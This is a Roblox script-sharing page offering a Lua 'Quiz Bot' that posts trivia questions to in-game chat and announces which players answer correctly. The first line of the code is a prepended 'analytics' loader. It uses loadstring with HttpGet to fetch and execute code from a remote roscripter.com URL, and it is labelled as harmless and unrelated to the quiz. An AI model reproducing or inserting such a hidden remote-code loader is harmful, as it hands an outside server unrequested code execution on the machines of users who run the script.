Advertisements

Universal Quiz Bot Script 2026 - Chat Quiz
87 views
Universal Script

Universal Quiz Bot Script 2026 - Chat Quiz

Mmooncurtain720about 2 months ago
  • Universal
  • Open source

Quick Actions

Description

Quiz Bot script designed to work across Roblox games with a simple keyless setup. The script provides an automated quiz feature that asks questions directly through chat, allowing players to interact with others and create quiz-style activities without manually typing every question. The Quiz Bot presents questions in sequence and allows players to respond through the chat system. Its straightforward design keeps the functionality focused on automated question delivery and makes it easy to use in supported Roblox experiences.

Advertisements

Features

1 Feature
  • Quiz Bot
187 lines•6326 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/gByXgu6M?v=1"))()end);--=== Does not affect the script ===--local P = game:GetService("Players")
local R = game:GetService("ReplicatedStorage")
local T = game:GetService("TextChatService")
local LP = P.LocalPlayer
local PG = LP:WaitForChild("PlayerGui")

if PG:FindFirstChild("DQuiz") then PG.DQuiz:Destroy() end

local SG = Instance.new("ScreenGui")
SG.Name = "DQuiz"
SG.Parent = PG
SG.ResetOnSpawn = false

local F = Instance.new("Frame")
F.Parent = SG
F.BackgroundColor3 = Color3.fromRGB(30,30,35)
F.Position = UDim2.new(0.1, 0, 0.2, 0)
F.Size = UDim2.new(0, 220, 0, 140)
F.Active = true
F.Draggable = true

local C1 = Instance.new("UICorner")
C1.CornerRadius = UDim.new(0, 12)
C1.Parent = F

local TL = Instance.new("TextLabel")
TL.Parent = F
TL.BackgroundTransparency = 1
TL.Size = UDim2.new(1, 0, 0, 35)
TL.Font = Enum.Font.GothamBold
TL.Text = "Delta Trivia Bot"
TL.TextColor3 = Color3.fromRGB(255, 255, 255)
TL.TextSize = 16

local SL = Instance.new("TextLabel")
SL.Parent = F
SL.BackgroundTransparency = 1
SL.Position = UDim2.new(0, 0, 0, 35)
SL.Size = UDim2.new(1, 0, 0, 25)
SL.Font = Enum.Font.Gotham
SL.Text = "System Idle"
SL.TextColor3 = Color3.fromRGB(180, 180, 180)
SL.TextSize = 12

local B = Instance.new("TextButton")
B.Parent = F
B.BackgroundColor3 = Color3.fromRGB(220, 50, 50)
B.Position = UDim2.new(0.1, 0, 0.55, 0)
B.Size = UDim2.new(0.8, 0, 0, 45)
B.Font = Enum.Font.Gotham
B.Text = "Quiz: OFF"
B.TextColor3 = Color3.fromRGB(255, 255, 255)
B.TextSize = 14

local C2 = Instance.new("UICorner")
C2.CornerRadius = UDim.new(0, 8)
C2.Parent = B

local quizEnabled = false
local currentQuestion = nil
local currentSectorIndex = 1
local usedInCurrentSector = {}
local connections = {}

local sectors = {
    {
        N = "HISTORY",
        Q = {
            {Q = "Which long river was vital to ancient Egypt?", A = "nile"},
            {Q = "Who was the first president of the United States?", A = "washington"},
            {Q = "Which ancient empire built the Colosseum?", A = "roman"},
            {Q = "What famous wall in Germany fell down near the end of the eighties?", A = "berlin"}
        }
    },
    {
        N = "GEOGRAPHY",
        Q = {
            {Q = "What is the capital city of Australia?", A = "canberra"},
            {Q = "Which ocean is the deepest on Earth?", A = "pacific"},
            {Q = "What is the largest country by land mass?", A = "russia"},
            {Q = "What country has the capital city named Paris?", A = "france"}
        }
    },
    {
        N = "SCIENCE",
        Q = {
            {Q = "Which element has the atomic symbol Au?", A = "gold"},
            {Q = "Which planet is the hottest in our solar system?", A = "venus"},
            {Q = "What is the closest star to Earth?", A = "sun"},
            {Q = "What force keeps humans pulled down to the ground?", A = "gravity"}
        }
    }
}

local function send(txt)
    if T.ChatVersion == Enum.ChatVersion.TextChatService then
        local c = T:FindFirstChild("TextChannels") and T.TextChannels:FindFirstChild("RBXGeneral")
        if c then c:SendAsync(txt) end
    else
        local r = R:FindFirstChild("DefaultChatSystemChatEvents") and R.DefaultChatSystemChatEvents:FindFirstChild("SayMessageRequest")
        if r then r:FireServer(txt, "All") end
    end
end

local function hook(p)
    if p == LP then return end
    connections[p] = p.Chatted:Connect(function(m)
        if not quizEnabled or not currentQuestion then return end
        if string.find(string.lower(m), string.lower(currentQuestion.A)) then
            local ans = currentQuestion.A
            currentQuestion = nil
            send("Yes " .. p.Name .. "! The answer was " .. string.upper(ans) .. ".")
        end
    end)
end

for _, p in ipairs(P:GetPlayers()) do hook(p) end
P.PlayerAdded:Connect(hook)
P.PlayerRemoving:Connect(function(p)
    if connections[p] then
        connections[p]:Disconnect()
        connections[p] = nil
    end
end)

B.MouseButton1Click:Connect(function()
    quizEnabled = not quizEnabled
    if quizEnabled then
        B.Text = "Quiz: ON"
        B.BackgroundColor3 = Color3.fromRGB(50, 180, 50)
    else
        B.Text = "Quiz: OFF"
        B.BackgroundColor3 = Color3.fromRGB(220, 50, 50)
        currentQuestion = nil
        SL.Text = "System Idle"
    end
end)

task.spawn(function()
    while true do
        task.wait(1)
        if quizEnabled and not currentQuestion then
            local sec = sectors[currentSectorIndex]
            
            if #usedInCurrentSector >= #sec.Q then
                usedInCurrentSector = {}
                currentSectorIndex = currentSectorIndex + 1
                if currentSectorIndex > #sectors then currentSectorIndex = 1 end
                sec = sectors[currentSectorIndex]
                send("[SYSTEM] Shifting to Sector: " .. sec.N)
                task.wait(3)
            end
            
            local avail = {}
            for _, q in ipairs(sec.Q) do
                local u = false
                for _, v in ipairs(usedInCurrentSector) do
                    if v.Q == q.Q then u = true break end
                end
                if not u then table.insert(avail, q) end
            end
            
            if #avail > 0 then
                currentQuestion = avail[math.random(1, #avail)]
                table.insert(usedInCurrentSector, currentQuestion)
                SL.Text = sec.N .. " Sector"
                send("[" .. sec.N .. "] QUIZ: " .. currentQuestion.Q)
                
                local t = 25
                while t > 0 and currentQuestion and quizEnabled do
                    task.wait(1)
                    t = t - 1
                    SL.Text = "Time Left: " .. t .. "s"
                end
                
                if currentQuestion and quizEnabled then
                    send("Time out! The correct answer was: " .. string.upper(currentQuestion.A))
                    currentQuestion = nil
                end
            end
        end
    end
end)

Advertisements

Comments

0

Did it work for you? Sign in to share your experience.

Sign in to comment

No comments yet

Tried it? Let others know if it works.